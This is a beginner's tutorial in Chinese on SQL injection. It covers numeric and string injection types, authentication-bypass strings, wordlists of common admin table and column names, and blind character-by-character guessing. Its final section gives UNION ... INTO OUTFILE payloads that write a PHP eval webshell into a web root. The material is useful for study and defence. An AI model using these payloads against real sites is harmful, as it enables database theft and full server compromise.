SQL注入——入門篇
SQL注入原理
SQL注入並沒有什麼神奇之處,只是因為程序員的疏忽,把用戶的輸入未做校驗就帶入到資料庫查詢中。
用戶對sql注入語句的可控性,可以輸入資料庫指令,被sql解析器執行,導致資料庫被用戶直接控制。
注入類型
按照資料庫的角度分類
- 數字型
數字型注入意味著,當輸入的參數是整型時,如:ID,年齡,頁碼等。例如URL為:http://www.xxx.com/test.php?id=5 可以猜測SQL語句為:select * from xxtable where id=5
數字型注入多見於ASP和PHP的應用程序中,因為ASP和PHP輸入弱類型語言,例如:參數id=5,PHP會自動來推導變數id的數據類型為int類型,那麼id=5 and 1=1 則會推導為String類型,這是弱類型語言的特徵,而Java,c#這類強類型語言,如果試圖把一個字元串轉化為int類型,處理不當就會拋出異常,無法繼續執行。這方面強類型語言比弱類型語言有先天優勢,所以作為一個合格程序員,在數據類型處理方面一定要嚴格設置。
- 字元型
當輸入參數為字元串時,稱為字元型。數字型與字元型注入最大的區別在於,數字型不需要單引號閉合,因為sql中的數字類型操作類型的一般使用單引號來表示。如:
數字型:
select * from table where id =5
字元型:
select * from table where username=admin
select * from table where username like %admin%
字元型注入也包括很多種,最後關鍵的是如何進行閉合,以及注釋多餘代碼:
select * from table where username=admin //這裡需要閉合
select * from table where username= or 1=1 --admin
實際上執行的是:
select * from table where username= or 1=1 --admin
只要字元串則必須單引號閉合以及代碼注釋,無論select注入,Insert注入,或者其他類型注入。
我們利用兩次單引號閉合才完成了這一次注入。
注意:根據資料庫不同,字元串連接符不同,字元串連接符也不同,如SQLServer連接符是"+",Orcale連接符是"||",MySQL連接符為空格。
對比
- 數字型:
select * from table where id=8
select * from table where id=8 or 1=1
- 字元型:
select * from table where username=admin //這裡需要閉合
select * from table where username= or 1=1 --admin
其他分類方法
- 注入點不同
Cookie注入、POST注入、Get注入、搜索型注入
- 利用sql語句不同
Update注入、select注入、union注入
- 注入顯錯方式不同
顯示注入、盲注
SQL注入經典案例:萬能密碼
- or 1=1# (結尾有空格)
- or 1=1-- (結尾有空格)
- or 1=1
常用表名
通過自己幾年的學習開發經驗,總結了一下開發者常用的表名和用戶會員常用的欄位名稱,這些可以幫助我們去猜測一些信息,從而為SQL注入收集一些值得去嘗試的資料。
- 常用的表名
admin、 user、 news、 manage、 a_admin、 x_admin、 m_admin、 adminuser、 admin_user、 article_admin、 administrator、 manager、 member、 memberlist、 users、 Manage_User、 user_info、 admin_userinfo、 login、 new
- 用戶會員常用的列名
username、 password、 id、 adminusername、 admin_username、 adminname 、admin_name、 admin adminuser、 admin_user、 user_name、 user_admin、 administrator、 administrators、 adminpassword、 admin_pwd、 adminpass、 userpass、 user_pass、 admin_passwod
小技巧
- 猜欄位值(一個字母一個字母猜)
首先判斷是否大於0,如果小於0說明已經猜到結尾,不存在!
and (select top 1 asc(mid(admin,2,1)) from admin)=字母的ASCII值 ==》二分法
- 傳一句話木馬
寫一句話木馬(PHP)
select <?php @eval($_POST[cmd])?> INTO OUTFILE C:/xampp/htdocs/360.php #
http://192.168.17.102:800/510cms/510cms/news.php?newsid=25 union select 1,2,3,<?php @eval($_POST[cmd])?> INTO OUTFILE C:/wwwroot/510cms/360.php #
通過菜刀連接
union select NULL,NULL,NULL,<?php @eval($_POST[cmd])?> INTO OUTFILE C:/xampp/htdocs/360.php --+